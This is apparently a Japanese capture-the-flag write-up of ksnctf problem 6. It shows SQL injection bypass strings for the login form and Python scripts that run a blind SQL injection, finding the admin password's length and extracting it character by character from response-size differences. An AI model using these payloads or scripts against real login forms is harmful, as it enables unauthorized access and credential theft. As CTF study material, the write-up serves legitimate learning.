ksnctf write-up #6

問題6 Login

https://ksnctf.sweetduet.info/problem/6

考察
解法
  • ユーザIDに入力
    • IDに「' or 'a' = 'a' #」を入力 >> 不正解
    • IDに「' or 1=1 --」を入力 >> 正解
    • IDに「admin'--」を入力 >> 正解
Congratulations!
It's too easy?
Don't worry.
The flag is admin's password.
  • フラグは、adminのパスワード
  • id='$id' AND pass='$pass'であることが判明
    • IDに「' or SELECT * FROM user --」を試す >> 失敗
    • IDに「' or SELECT pass FROM user WHERE id = 'admin' --」を試す >> 失敗
ブラインドSQLインジェクション
挿入した SQL の応答の違いからデータベースの情報を盗み出す攻撃の方法
#! /usr/bin/python3
import requests

url = "http://ctfq.u1tramarine.blue/q6/"

def getcheck(password):
    
    # ログインに失敗する設定
    payload = {'id':'admin', 'pass':password}
    r = requests.post(url,data=payload)

    print(len(r.text))
    #print(r.text)
if __name__=="__main__":
    password = 'pass'
    getcheck(password)  # 488

    password = "' or 1=1 --"
    getcheck(password)  # 2237
  • 成功・失敗でレスポンスのバイト数が異なることから判別要素とする
  • パスワードの長さを調べる
    • SQLインジェクションでパスワードの長さを確認する
    • 本問題の場合「FLAG_」はお約束なので、5字以上は確定
    • 最大何文字パスワードを確認する。
# パスワードの長さを確認するSQLインジェクション(1文字以上かどうか)
' or (SELECT LENGTH(pass) FROM user WHERE id = 'admin') > 1 --
  • さきほどのスクリプト処理に追加する
    • とりあえず、パスワード文字列を最大30字で試してみる。
#! /usr/bin/python3
import requests

url = "http://ctfq.u1tramarine.blue/q6/"

def getPasswordLength():
    for i in range(30):
        sql = "' or (SELECT LENGTH(pass) FROM user WHERE id = 'admin') > {0} --".format(i)
        payload = {'id':'admin', 'pass':sql}
        r = requests.post(url,data=payload)
        print(i, len(r.text))

if __name__=="__main__":
    getPasswordLength()
# 結果:
0 2167
省略
20 2167
21 565
  • パスワード文字は「パスワードは 1 以上 21 以下である。」と判明
  • 文字列を1文字ずつあっているかブルートフォース
    • substring関数で文字を確認していく

SUBSTRING関数

# SQLServer or MySQL
SUBSTRING([文字列], [切り取り開始地点], [切り取る文字数]);

# Access → Mid・MidB
# Oracle → SUBSTR・SUBSTRB
# PostgreSQL → SUBSTR
i Chr(i)
48~57 0~9
60
61 =
62 >
63 ?
64 @
65~90 A~Z
91 [
92 \
93 ]
94 ^
95 _
96 `
97~122 a~z

#! /usr/bin/python3
import requests

url = "http://ctfq.u1tramarine.blue/q6/"

def blind_sql_injection():
    for i in range(22):
        for n in range(48, 122):
            c = chr(n)
            sql = "' or SUBSTR((SELECT pass FROM user WHERE id='admin'), {0}, 1) = '{1}' --".format(i, c)
            payload = {'id':'admin', 'pass':sql}
            r = requests.post(url,data=payload)
            #print(i,c, len(r.text))
            #print(sql)
            if len(r.text) > 2000:
                print(c,end="")
                break

if __name__=="__main__":
    blind_sql_injection()
    # 結果:FLAG_